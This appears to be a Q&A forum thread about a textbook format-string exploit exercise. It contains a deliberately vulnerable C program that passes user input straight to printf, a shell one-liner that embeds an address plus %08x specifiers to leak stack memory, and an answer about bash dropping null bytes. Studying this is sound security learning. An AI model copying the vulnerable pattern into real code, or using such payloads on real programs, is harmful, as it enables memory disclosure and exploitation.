0

I am attempting the printf() format parameter exploit where providing the user controlled data directly as the sole argument of the printf("user input") allows for the user to provide format parameters such as %x in which case there are no additional arguments provided to the function for it to pop off the stack so it uses whatever data is currently there allowing you to read addresses and more.

Program

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


int main(int argc, char *argv[]) {
    char text[1024];
    static int test_val = -72;

    if(argc < 2) {
        printf("Usage: %s <text to print>\n", argv[0]);
        exit(0);
    }
    strcpy(text, argv[1]);

    printf("The right way to print user-controlled input:\n");
    printf("%s", text);

    printf("\nThe wrong way to print user-controlled input:\n");
    printf(text);

    printf("\n");

    // Debug output
    printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

    exit(0);
}

My issue is that when I provide an address preceding the format parameters as the argument to my program, the least significant byte 00 (part of the address) is truncated and replaced with another byte (2e in this case) from the stack.

./fmt_vuln $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')

The output:

The right way to print user-controlled input:
X`.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The wrong way to print user-controlled input:
X`.017af010.3a780780.3a4b12c0.3a967700.0000002b.22f85198.00f7803b.2e601058
[*] test_val @ 0x00601058 = -72 0xffffffb8
  • And what's the question? – Mr. E Sep 22 '18 at 18:43
0

On my machine, even when I just test the parameter generating part via

echo  $(printf "\x58\x10\x60\x00")$(perl -e 'print ".%08x" x8')

I get a

-bash: warning: command substitution: ignored null byte in input

It seems that the same happens on your machine (unfortunately without the warning being displayed). As a consequence, the effect is as if you had passed

$(printf "\x58\x10\x60")$(perl -e 'print ".%08x" x8')

i.e., the fourth character of your intended address is taken from the first '.' (ASCII 0x2E) following. Maybe try to get along with "\x58\x10\x60\x01" or "\x58\x10\x5f\xff" instead.

See also https://unix.stackexchange.com/questions/160598/representing-quoting-nul-on-the-command-line

  • Thanks, in that case do you know how I would go about shifting the variable's location. I've tried putting static arrays before and after it but it does not seem to be working? And furthermore is it even possible to shift the static variable enough that this nul byte won't be an issue. – nrmad Sep 22 '18 at 17:42

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.